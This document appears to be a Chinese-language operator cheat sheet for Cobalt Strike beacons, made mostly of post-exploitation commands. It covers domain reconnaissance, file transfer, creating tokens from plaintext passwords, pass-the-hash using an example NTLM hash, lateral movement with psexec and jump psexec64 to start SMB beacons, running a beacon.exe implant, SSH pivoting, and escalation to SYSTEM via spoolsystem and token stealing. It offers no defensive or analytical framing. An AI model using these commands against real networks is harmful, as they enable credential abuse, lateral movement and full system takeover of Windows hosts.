信息收集

#列出正在登陆的用户
net logons 
#列出域控(组)
net domain_controllers
#列出域控列表
net dclist
#显示当前域
net domain
#列出当前session
net sessions
#列出盘符
drives

文件上传

上传

cd C:\Windows\apppatch
upload 1.txt

下载

download xxx.txt

列出当前执行时间很久的任务并删除

jobs
jobkill

取消正在下载的文件

cancel 1.txt

创建凭据并执行命令（无回显）

工作组中如果两个机器密码或者说登陆凭据是相同的，那么可以直接dir \ip\c$ 成功。

#在有凭据的情况下可以执行命令
remote-exec psexec \\192.168.171.142 whoami

凭据错误时的报错：

#创建凭据，只能用明文密码
make_token workgroup\administrator 123123
#使用hash创建
pth administrator 579110c49145015c47ecd267657d3174

此时发现命令执行成功

利用smb beacon上线爆出密码的机器

创建smb监听并命名为q

#如果得到明文
make_token workgroup\administrator 123123
#如果得到hash
pth administrator 579110c49145015c47ecd267657d3174
#上线
jump psexec64 192.168.171.142 q

如果机器出网，可以选择上线之后再spawn得到一个直连的session。

connect命令

可创建一个tcp的listener，然后使用connect命令连接：

更改当前beacon的父进程

返回system权限的shell

得到system权限后，需要重新执行木马文件才能获得sys权限的shell

execute C:\Users\Administrator\Desktop\beacon.exe

上线ssh机器

ssh 192.168.171.139 root 1

使用spoolsystem获得system权限

需要有SeImpersonatePrivilege权限

spoolsystem spawn
spoolsystem selfinject
steal_token 一个system权限程序的pid
shell whoami

spoolsystem spawn
spoolsystem selfinject
getsystem
shell whoami